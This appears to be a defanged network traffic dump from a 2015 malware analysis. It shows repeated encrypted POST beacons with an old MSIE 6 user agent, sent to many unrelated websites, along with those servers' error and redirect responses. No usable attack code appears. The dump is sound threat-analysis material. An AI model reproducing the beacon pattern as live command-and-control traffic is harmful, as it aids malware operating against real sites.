IDJ60eVCLUI9AINbjJe/KV6cU3AzsA656X01qfJ5Zi2us4IwGhZ4SJtAViVTf0il

NgMOn1yiy7LLLjjh3TQk5feVVClcsBrNzrjuyxxBXcNqZGAUeI17ZoOPin3Xo6v3

9jitYqZ0VxP9mfo//Qs8yzlnQ49WXuq6cX mQN8sax4Xri/z6Cj3MVR97C7BlYTf

yzQ7q972Sp/ZShBd54l7xB6Bh /mtk25w2ri7HlbRK9gGjdriEtAW8ywvceNeqwE

JoTNsuAL31q14WCjUXPjkh6ZyzOqSw5sxJwgH8KMBDPlFER6FxpWI6gNmrxW6XAw

fBmncfWfkeZfNaWvPRrLFcGO08uS3tYA8gnskIn4/ alQdexiT9cqsv8FmGTq92k

8Ds0T3ADC9nlG9tqoSyr0mJY2C4BgVGTN4o3JHKXi87 fQNVBGu3 aNm9VRPPyil

SZo9Zh7yKysEkXgGScp/PBC8ZHWFn w 1llaX/mM4hjYlf2LzJqfHlfAQBbLMwxa

aMznNt B5P2OlxhF4/W8Rn Bqk/iPK5k2AZFEVU6F2oUEMDBVv4s

HTTP/1.1 503 Service Temporarily Unavailable

Date: Thu, 23 Jul 2015 22:25:50 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Frame-Options: SAMEORIGIN

Refresh: 8;URL=/cdn-cgi/l/chk_jschl?pass=1437690354.854-GVmCdnnfBD

Cache-Control: no-cache

Server: cloudflare-nginx

CF-RAY: 20aacdb4c3290485-FRA

10f8..<!DOCTYPE HTML>.<html lang="en-US">.<head>. <meta charset="UTF-8" />. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />. <meta name="robots" content="noindex, nofollow" />. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />. <title>Just a moment...</title>. <style type="text/css">. html, body {width: 100%; height: 100%; margin: 0; padding: 0;}. body {background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 100%;}. h1 {font-size: 1.5em; color: #404040; text-align: center;}. p {font-size: 1em; color: #404040; text-align: center; margin: 10px 0 0 0;}. #spinner {margin: 0 auto 30px auto; display: block;}. .attribution {margin-top: 20px;}. @-webkit-keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. @keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. .bubbles { background-color: #404040; width:15px; height: 15px; margin:2px; border-radius:100%; -webkit-animation:bubbles 0.6s 0.07s infinite ea

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.mado.org

Cache-Control: no-cache

zFIVEf6jsDuuqO5pyXuMqeGxa9u PXLbEswOT4g5WbI6ySQUNY6/GjKlLZwwVkKX

yZv5adkCv3kHjU/VNumn1BBfowtU1TQY3GzByiQ7/rsU/TyclErR3pbFH5FaboWm

R6FcWjdZv/5H2cbTiJ3ETSoYJ/bg2A4BVP/eZxUqYuCjm3YMo5YA9BrcS6BSYW6c

LsN39NSXBlRDOqnq8KHt6SM9IaAkS9B/lz KKAqlDu49Jqu1knKTybR4NyhT7VHO

8UET6xHrIhn66EH1in1YNBOh3Bmxbb2Ix7KVenwytF5wcNFsvDBm OCDxYb5LBz9

dDmnSRuXxrt1QGEBzeerrh3Zn g9JAfENS806dNxsLhmenCg86ydYU1I2/N4acOt

coXmJvKhBnmw0zlLpTM4xcbGWAwzYOiMl0YWsz1eFdZwfYczYiItCh tYlDHtNl

14RAJiKuzCvfb4COJPimYGMyBg6ecVOohDhFtuzoHYTj5CSOEC3lmpN5YwZODsPz

tYr2HNvbVigXlx/Aru8qzDn K EyMC ViqFzGOP8Htd84dGw5YW3v5ZV0T Q7QM=

HTTP/1.1 200 OK

Cache-Control: private

Content-Length: 14826

Content-Type: text/html

Server: Microsoft-IIS/7.5

Set-Cookie: ASPSESSIONIDCSSCSQST=LJMFGPIACJIFJAAICDIBGDFM; path=/

X-Powered-By: ASP.NET

Date: Thu, 23 Jul 2015 22:25:20 GMT

<html>..<head>..<meta http-equiv="Content-Language" content="en-us">..<script language="JavaScript">..<!--..if (document.images) {..onbutton1 = new Image..overbutton1 = new Image..onbutton2 = new Image..overbutton2 = new Image..onbutton3 = new Image..overbutton3 = new Image..onbutton4 = new Image..overbutton4 = new Image..onbutton5 = new Image..overbutton5 = new Image..onbutton6 = new Image..overbutton6 = new Image....onbutton1.src = "hp_normal.JPG"..overbutton1.src = "hp_over.JPG"..onbutton2.src = "con_normal.JPG"..overbutton2.src = "con_over.JPG"..onbutton3.src = "lic_normal.JPG"..overbutton3.src = "lic_over.JPG"..onbutton4.src = "membinfo_normal.JPG"..overbutton4.src = "membinfo_over.JPG"..onbutton5.src = "membapp_normal.JPG"..overbutton5.src = "membapp_over.JPG"..onbutton6.src = "links_normal.JPG"..overbutton6.src = "links_over.JPG"....}..//-->..</script>..<meta name="GENERATOR" content="Microsoft FrontPage 6.0">..<title>MADO: License Update</title>..</head>..<body topmargin="0" leftmargin="0" text="#000080" vlink="#0000FF" alink="#FF0000"..bgcolor="#FFFFFF">..<table border="0" cellpadding="0" cellspacing="0" width="98%"..style="font-family: Tahoma; border: 0px none; ">.. <tr>.. <td width="25%" valign="top" align="left"><table border="0" cellpadding="0".. cellspacing="0" width="95%">.. <tr>.. <td width="100%" background="sideback.jpg"><font face="Tahoma"><img src="urgraphic.jpg".

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 558

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.mjrcpas.com

Cache-Control: no-cache

vMRwoJH7rDvzJep0MH cwepVouVPZKgqVQN8j5wYxzmDV8EUQ2zH9590gsRRAxCJ

LJe7GzaijWicizvOACUalrbabr2MbRbLLVQgN2Rth8hNVOHd RdoSrpa4psdKAZE

LL2h6JJXrBLw/A8qfOlom3hLfAEawh/PWoehgpIRQk9oW1lWuHjt Hk1o2LbqSPW

aXxpjnHERG0TeFKDsEC8 XJ1QymaP8YkaB2rurzQ/b1gvuEkwq4VukFCJKPNPxXk

8VY66jX2ahc kqcGo4wY57ILwfS4vbt9KNpTYGzQtGylBc8rdZbheN1Fr7yjdELa

vIHkGlcoevZYJ86U37rM6LarNUuIWxOQT4X9uBBUxf42ScFnm5LeP2BcCWeE /nk

g5KVLt0ebt3ri42QiehW3Vea1mAuJb 2J NRnMFcF6x9kUixindT0RLTrXVQBvDs

0rzrp4BNrOg81ZvOyWrWQDHUZFpgn91XRZFH5sUdkACWP9S4nD5wvEOAhVQpEeSk

NyBlJLU Sup2VM3Vex93yQLx5Rz6

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:20 GMT

Server: Apache

Location: hXXp://gallina.com/

Content-Length: 292

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://gallina.com/">here</a>.</p>.<hr>.<address>Apache Server at VVV.mjrcpas.com Port 80</address>.</body></html>.HTTP/1.1 301 Moved Permanently..Date: Thu, 23 Jul 2015 22:25:20 GMT..Server: Apache..Location: hXXp://gallina.com/..Content-Length: 292..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://gallina.com/">here</a>.</p>.<hr>.<address>Apache Server at VVV.mjrcpas.com Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 574

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.proseinc.com

Cache-Control: no-cache

NTQQJT0c/DtOdTWW9LBxfXa7PCNroAhVwfgVoOr/wa8gATlABVURLMjbBmGHyKjr

yUlyB5K9ao3pj0ik2d4XnQFRTPvcKhKSueWi/AUvaFmM9JmjnGnu8dY/PZUCfmCM

azzrhULxwxg4sEb1zRE/M iZcnRGUTzBaxGOLUCgIsfT6NopH/g EXVWQJeEijIY

dDlzduFYPsJLVTiXp/9g0V4Rq55wDNDIJWdWIWBVpFQAJa35J5oRMfdNJKCXWQAJ

3xlMW3iYj/yfoZ3gWYyYCwwOdQiCuCggNGk7Gqn7e2olSUGJQExsvcCghwV6E6f6

B6xxpx8IDOe6DdBb32FjujOsDV0UfE/2SQXJOC0DZWMJC4wFF5Mp3vYy 4AZCjY5

p8lVPOIgNyXrLxs5LonRedUwhkwZtUkA2CeaWjbHRyuy2PJQsfRWPgjS/1ym5 zS

u6Ex81/N5 q5bcXkTuo MAOey/qJKT4qTEh73Q3cMQ6r4s8EEqGUdAIjRQ5dC i

hgjfnld FiMTwIjKhyeNfNlRkl5mLZnm/ESQ6sr9Cbw=

HTTP/1.1 401 Authorization Required

Date: Thu, 23 Jul 2015 22:25:21 GMT

Server: Apache/2.2.3 (Fedora)

WWW-Authenticate: Basic realm="proseinc.com"

Content-Length: 482

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>401 Authorization Required</title>.</head><body>.<h1>Authorization Required</h1>.<p>This server could not verify that you.are authorized to access the document.requested. Either you supplied the wrong.credentials (e.g., bad password), or your.browser doesn't understand how to supply.the credentials required.</p>.<hr>.<address>Apache/2.2.3 (Fedora) Server at VVV.proseinc.com Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.rmcet.com

Cache-Control: no-cache

NmAm FJaK0Xh9XlVBTWh11VDVKWi1PGUpt3Jief235Hpj7qgWD2Y9od4c9eDT/gA

zEnqwZYgTVP0LPBv3RsZarFVyBUj/DphnpoJj yImfm/1KvD qhkjE9G4IkGE oE

RRCL3cLirOcjCbQqW7uZI1Z4KIrC7vXejXz uAxNy3FXwE1K276pGu6vcqKRE4/j

PJiNEOsBGZlMKpMPOLYJ2lwCI/vyrRXx N8IzzhknFD4jRjaqh6k3pZdAb3puTPN

lgxbmlWZ212xrg228e9Ba3nXuCXzFHAeM7NCnMFWA8XGZ8iyKtzaVni0nmubSOz

ycgNNov lt6zXMhbNoxZDHNvXc2gpQb6jDIWauzY rEaayzfN59nT2OAkZBAqFrU

PkDR4cX1KJ/FL7PJ5CYqRHbTensAO0DexxHUiIF82Ht/bjnktRIjVr/GVbl83Rfc

4FeB28S1Vqpjb D/ysAe5E/ rdWoeFX4Q8SCh1RlZ1ie5WHaiUEj1vsk8y bGb6X

r4HaRi/Sf5B9Uoq1dBiziu82db/MgrOyPvrGlE8j5h7GvJxyYA==

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 22:26:04 GMT

Server: Apache Phusion_Passenger/4.0.10 mod_bwlimited/1.4 mod_fcgid/2.3.9

X-Powered-By: PHP/5.4.43

Transfer-Encoding: chunked

Content-Type: text/html

50a0..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="hXXp://VVV.w3.org/1999/xhtml">.<head>.<link rel="shortcut icon" href="images/logo.ico">.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />.<title>::RMCET,Devrukh::</title>.<meta name="Keywords" content="" />.<meta name="Description" content="" />.<link href="jimgMenu.css" rel="stylesheet" type="text/css" />.<link href="css/reset.css" rel="stylesheet" type="text/css" />.<link href="css/css-design.css" rel="stylesheet" type="text/css" />.<link href="css/typography.css" rel="stylesheet" type="text/css" />.<link href="css/flexdropdown.css" rel="stylesheet" type="text/css" />.<link href="css/SpryTabbedPanels.css" rel="stylesheet" type="text/css" />.<script src="scripts/AC_RunActiveContent.js" type="text/javascript"></script>.<script src="scripts/menu.js" type="text/javascript"></script>.<script src="scripts/jquery-1.5.1.min.js" type="text/javascript"></script>.<script src="scripts/flexdropdown.js" type="text/javascript"></script>.<script src="scripts/SpryTabbedPanels.js" type="text/javascript"></script>.<script language="javascript" type="text/javascript" src="header.txt"></script>.<script type="text/javascript" src="js/jquery.js"></script><script type="text/javascript" src="js/jquery-

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.willvic.net

Cache-Control: no-cache

X4LBUDogi0GV VlA3bIAJX1Fbc6qlJI9Dk5EmovwYWSburv3p3YjorcJc0wASV8k

0G6S68q RA08044SH OzyeXUbFYzUdesYbHQCQtGdhhVpUgMgzcmnzCR5p7jUEJR

6ScC0OjHk8HIo99mEEOIs6GzL4Gk TV/Xe8GkHmwswPNDcbaFJ/TYbyhWEdbf3vi

zqSAez9HJulAI0fH1Mrbf GGYG5bMjkeS6C7fJn5MRiMWa6qcbafM86gdIx7uTd8

oGp9UXKHGbytYBB1raZKyAYRJlMcTaEWuT3GKFsKS14VO5 45YkTgz//8ewyNjw8

mjIixbJHsbuxKg/DlbaNUnmoQqfJ WLo/SwOz977LoWwK JfwJR8lE/UY9CfrKPC

VOp7LjKcEZb4fSyXJqFfvnbggbfVplL/Ei8OvyDUWQnFgGgsIyZhKOzeh7W36qYE

4QLVR2gGRcQH3xOCDk4tqEKFE687fQwo8b9za6m5dUeAqZeRTnfyPsBGa Y7EZRb

qck5nqUKKegA/j8/6PMlKD0G/O d2C9nr6I/1BtaXMLB20bjkMzHuyfF11m3QaF6

HTTP/1.1 418 unused

Date: Thu, 23 Jul 2015 22:25:47 GMT

Server: Apache

Vary: Accept-Encoding

Content-Length: 511

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>418 unused</title>.</head><body>.<h1>unused</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator,. webmaster@willvic.net and inform them of the time the error occurred,.and anything you might have done that may have.caused the error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>.HTTP/1.1 418 unused..Date: Thu, 23 Jul 2015 22:25:47 GMT..Server: Apache..Vary: Accept-Encoding..Content-Length: 511..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>418 unused</title>.</head><body>.<h1>unused</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator,. webmaster@willvic.net and inform them of the time the error occurred,.and anything you might have done that may have.caused the error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>...

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 566

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.dujua.com.br

Cache-Control: no-cache

AQE6CmULG0BMQeJODMU1Yd74WuKz4sl6aU5PUUxpcqHoCfb6OhGewKgPdSPuciq1

Ca2oHo9g2ycVo 1SDAsBJ7Kxs3E ec1MsAepf7c7ab066EXWaqp8ZRdfaHRm624F

8xyhI7J2AxFZF4Zf04Kf0FKERQMIwX5V8MXJ0JmYjM6ckF0OlXWAAou0rr3S3xW9

JAi2eLZK/w0V1btrC3 Wa7OLbnjGcVa7rg3mIzJgWGkBEzVHsEvoiRYJWTKHUn7B

S/0r32j2YArzxFQZf n9sKR/fXVGMSH5WWjvACHgdf VTGFnGalY6tQWslVisFdv

dEfway1/sG7T0wsL73ha7/1LJkHlY3gpYjqFrLg2oR1 8x2Qv8kkZpi/wiEPhzcN

tSSO9IiGvQx nqvuBoUtvDInpApzv265kOC6W3jgEOGhzSzaipQv3Ym8F13rZ1MS

5RYE3zlnQufVRUUzCw9PNsWRmM8cpnsthl4JOON2dzZi geIdwYbO1HUUa1QhQ7F

S1a6QWd8ouUbwW137M5pf2R2yZass/kIMg==

HTTP/1.1 301 Moved Permanently

Date: Thu, 23 Jul 2015 22:25:39 GMT

Server: Apache

Location: hXXp://google.com/

Content-Length: 226

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>301 Moved Permanently</title>.</head><body>.<h1>Moved Permanently</h1>.<p>The document has moved <a href="hXXp://google.com/">here</a>.</p>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 550

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.vrad.spb.ru

Cache-Control: no-cache

NLC8owZrOjwfs2K9IcagBSn6pvtmFbHGmv94SjPDs5T2QOgzKuGJ9z0alB5dQb2G

imOuj3YTqUZRbjmwWYWXeucZ1q5kKZen9FXgG4yX9cF1kSdGCj/LrcPq7m7om/TV

3g9 KWVFz0bUWjpgsnTUy0ec7ikom iPBEXyo 1rysfN7gT68xXHSag/6ifniJ46

gEsIT f7mlonca4zxuPCzoytmAgGStTie2afNl2gh4aRWL5msBMXoP4SYwZFwEit

hvCxbPxoqXeyfycMSDmQyX4FVcPv4I7HT1QK3Vr8Xo6W1SEMt7a4x0WBxs33jOvI

V6co827v5gC/p0o3XbjOJgQzApII1GQVIL4MOnLZmDorFhJOQn/pJ4W1hUgbKYg6

MpM53xoECqas8//6 Grt3DG3VwNYsfZJ8ePVFfyKzsXSuQVm wi4oUt7ZdEUVgC

gg zkMBV5gOQ3bd aM4vqWdGtE5w0hAxtvs3aRbYGBZSadHLwLDWMK1amzzTK7HX

Wx/xvkyKf21qojVLaYdL

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:22 GMT

Server: Apache/2.2.17 (Fedora)

Accept-Ranges: bytes

Content-Length: 4609

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "hXXp://VVV.w3.org/TR/xhtml11/DTD/xhtml11.dtd">..<html xmlns="hXXp://VVV.w3.org/1999/xhtml" xml:lang="en">..<head>...<title>Test Page for the Apache HTTP Server on Fedora</title>...<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />...<style type="text/css">..../*<![CDATA[*/....body {.....background-color: #fff;.....color: #000;.....font-size: 0.9em;.....font-family: sans-serif,helvetica;.....margin: 0;.....padding: 0;....}....:link {.....color: #c00;....}....:visited {.....color: #c00;....}....a:hover {.....color: #f50;....}....h1 {.....text-align: center;.....margin: 0;.....padding: 0.6em 2em 0.4em;.....background-color: #22437f;.....color: #fff;.....font-weight: normal;.....font-size: 1.75em;.....border-bottom: 2px solid #000;....}....h1 strong {.....font-weight: bold;....}....h2 {.....font-size: 1.1em;.....font-weight: bold;....}....hr {.....display: none;....}.....content {.....padding: 1em 5em;....}.....content-columns {...../* Setting relative positioning allows for .....absolute positioning for sub-classes */.....position: relative;.....padding-top: 1em;....}.....content-column-left {...../* Value for IE/Win; will be overwritten for other browsers */.....width: 47%;.....padding-right: 3%;.....float: left;.....padding-bottom: 2em;....}.....content-column-left hr {.....display: none;....}.....content-column-right {...../* Values for IE/Win; will be overwritten for other browsers */.....width: 4

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 582

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.fitgolf.com

Cache-Control: no-cache

8H2SOiM2UEEvaXxZqqV zEx4YDVJv5RUBzbM291Y51LA/NCQWkFCl2hPag2nhSVw

OsP7QaqqFDk2Y77rxfZI7PUY9sTJJc7om7cJQiJOH82iNnV/eQ7sXq8epcUTU1j

K/lGrwpecb9dCcwdcYpW7xcc1bVYijiDgW5QVJ2w6toBlmpAALfi/48Pw W1DFEU

k IQtU6wYqYUaeqjYxIpT25gc2yhrgV/tJ4JwWLe3p7KTcFLW7vLqrZrmSpqyyqS

bko8NFU8D3LqrjAwHmTYO4cQ1vlmcPpMN3jdbR5eusp5stbA/sPlQNc9z61NP0UB

6wwKR9ezA/u2a3C7WfExO8mwF0fwZnjqoAj26Kn1xd23xrudzKd/ X3OaK m/dN

v/Kd3A6MHlIplyKDA2eGL6RhrYAHtQ2GN89ct4EDpiqHxC0mdO jqmfIDO19N9H

yfHMKqdqCx0vymPyVwY2Jg7rgso8zB/Za0XRTP51qX8f4JlGr/0H0uQYfgChMI6W

JHqzqnZXzZiRU8BOUH7ESZCbjErgGeym5NvLf9IFvrKlIZw49P11

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d93ad5793012a9faef3005c165fca3ef51437690346; expires=Fri, 22-Jul-16 22:25:46 GMT; path=/; domain=.fitgolf.com; HttpOnly

X-Frame-Options: SAMEORIGIN

Server: cloudflare-nginx

CF-RAY: 20aacd9acf170461-FRA

15f2..<!DOCTYPE html>.<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->.<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->.<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->.<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->.<head>.<title>Attention Required! | CloudFlare</title>.<meta charset="UTF-8" />.<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />.<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />.<meta name="robots" content="noindex, nofollow" />.<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />.<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />.<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->.<style type="text/css">body{margin:0;padding:0}</style>.<!--[if lte IE 9]><script type="text/javascript" src="/cdn-cgi/scripts/jquery.min.js"></script><![endif]-->.<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/zepto.min.js"></script><!--<![endif]-->.<script type="text/javascript" src="/cdn-cgi/scripts/cf.common.js"&g

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 578

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.virpca.org

Cache-Control: no-cache

c6D1Pfbu20CrsMH7URnWfplTMYIWwEp3igJxdKAGkytgAylWuWGB1TlhjY/rxis5

PtFLvLdHSD59cR fYX/fOq5xnPp2wN/f1kKTampys8EKBb3FscP003/5B6JimL3c

/DJNs1viR baOkFBriomSzGoc6ZS7F0EcreS639cATY2XD9nzbnXDL6GklX97lMT

lnpbJAOOIziKQKf48Sj6 m/kDCHRMivsym//GdwGjqsFjH1tX2C7X5KE B/yHHYL

REptmstQOs48RldYBAHnkyBicrqEXCV4q6yHh0 AWN3253ZLFYtfNdpLPYwYGD7y

deaO3PDMJQ61MKRHZDkVF1Ju0etkZnGu1uLuMzHPEgbzIfmywa7VsbrNuNCfs69v

8/mWgLfLxBaCZQiNo95yvU0sqXt5OcZT8scP4KCnuiHxshB7KDQcULbvxWfQucAU

OIj9cqNGEHFKwnyeUev1zUsb3JGsEWjATyycqpsbzN/V9gPQSVvJ8YCMjRO80Gxx

LqtFTRMEWxog0WBYuJi0C06t43M9/Ft4tHlV6z48D17Wxw==

HTTP/1.1 403 Forbidden

Date: Thu, 23 Jul 2015 22:25:43 GMT

Server: Apache/2.4.12 (BareMetal) mod_fcgid/2.3.9

Content-Length: 304

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.<br />.</p>.<hr>.<address>Apache/2.4.12 (BareMetal) mod_fcgid/2.3.9 Server at virpca.org Port 80</address>.</body></html>.HTTP/1.1 403 Forbidden..Date: Thu, 23 Jul 2015 22:25:43 GMT..Server: Apache/2.4.12 (BareMetal) mod_fcgid/2.3.9..Content-Length: 304..Content-Type: text/html; charset=iso-8859-1..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>403 Forbidden</title>.</head><body>.<h1>Forbidden</h1>.<p>You don't have permission to access /.on this server.<br />.</p>.<hr>.<address>Apache/2.4.12 (BareMetal) mod_fcgid/2.3.9 Server at virpca.org Port 80</address>.</body></html>...

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 600

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.kndata.com

Cache-Control: no-cache

x6VitwSUXEEF9NxxHw A5ddNf288LZtreGHcUyREGA0X4Sy7GNpN8K8lrzaaHNwM

gNS9pQGnJQjVaR9d19ynMh0kOuIdxjw/6KG8QU9LfXFYB1nOVRajMmQRytZdDbqT

40mTYKVgftJ5aG7IxtfRWuMQRMCwhoyKZCPdJ0L0ygfXzP0u7YBBA1hTrhvnHs3K

F6 9ox7EIL6FmvCY6l7v955zTYq22raYGPT86UiS2CuE32JABggwyzDtU113630f

gZpL/BKS/eTn250ipWBXo/ bKfTzJ1RomrxO3MH2OY7uuWvVkwQV6Gjwt bI9/aA

roMO6176M7/flPaFK6f25NDxBn598loGzhFGTQRKRG0i3gCyOG3S9P6kG7fD2rVz

qjph9IBQdDJ7UCB220VxyaBBTU obdglxH AbdwY9kUME4m/Xg5s8sxglOK6TKxn

sz0owjY7oc5I6ORobJiTpw8EOtmV7VZg0qFvCqQjUrDd6JENaf9YoLJ6OYdIlD5a

Be9xEm6Zc1uzOzQByfopB5llNRV/JaXBd7RjI41D2fldBTQ3wU04tvo6EbMFV/Js

aA==

HTTP/1.1 503 Service Temporarily Unavailable

Date: Thu, 23 Jul 2015 22:25:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: __cfduid=d51eae1f8939cc56a75aaf269ef2782c41437690346; expires=Fri, 22-Jul-16 22:25:46 GMT; path=/; domain=.kndata.com; HttpOnly

X-Frame-Options: SAMEORIGIN

Refresh: 8;URL=/cdn-cgi/l/chk_jschl?pass=1437690350.917-YVpbnzNnLZ

Cache-Control: no-cache

Server: cloudflare-nginx

CF-RAY: 20aacd9c35c80f87-FRA

1068..<!DOCTYPE HTML>.<html lang="en-US">.<head>. <meta charset="UTF-8" />. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />. <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />. <meta name="robots" content="noindex, nofollow" />. <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />. <title>Just a moment...</title>. <style type="text/css">. html, body {width: 100%; height: 100%; margin: 0; padding: 0;}. body {background-color: #ffffff; font-family: Helvetica, Arial, sans-serif; font-size: 100%;}. h1 {font-size: 1.5em; color: #404040; text-align: center;}. p {font-size: 1em; color: #404040; text-align: center; margin: 10px 0 0 0;}. #spinner {margin: 0 auto 30px auto; display: block;}. .attribution {margin-top: 20px;}. @-webkit-keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. @keyframes bubbles { 33%: { -webkit-transform: translateY(10px); transform: translateY(10px); } 66% { -webkit-transform: translateY(-10px); transform: translateY(-10px); } 100% { -webkit-transform: translateY(0); transform: translateY(0); } }. .bubbles { background-color: #404040; width:15px; height: 15px; margin:2px; border-radius:100%; -webkit-animation:bubbles 0.6s 0.07s infinite ea

<<< skipped >>>

POST / HTTP/1.1

Accept: */*

Accept-Language: en-us

Content-Type: application/octet-stream

Content-Length: 594

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Host: VVV.oreggia.com

Cache-Control: no-cache

IYnG7 pRbUCIurTvzVh5EK1WGwoaoFrovnpov1nQFoP4JfidYzunoby20BZFN1jl

WPEgz8NuUdeo9qZxb4JZJZhwmpir5mmut3F5TTekJJA9 nqBQjFhTNBiZBQQWTbC

FNzXAX0PU1q9joeteHsSS06YxSx/F1pI axFCavcCnkaynEkdDpBaEK1smntSMNH

n5fJsBEmdn/1Q4CBodWJ0pmf9/yUaFkeqWev54uyPHW8rTDwLdLYpytEWx9eXNnf

7STUVOsWGbjOmqOEYKtoPbqyyqeRocDbYQ14cNnsxfTFyQO2nAoAUvAxcr/k0DSg

j5JTh9P/rVdMp3aDc1Zj7jS Yt1gNFZcNeJdyvT44ctFw6Dn2VhHgBDDid3FbRgD

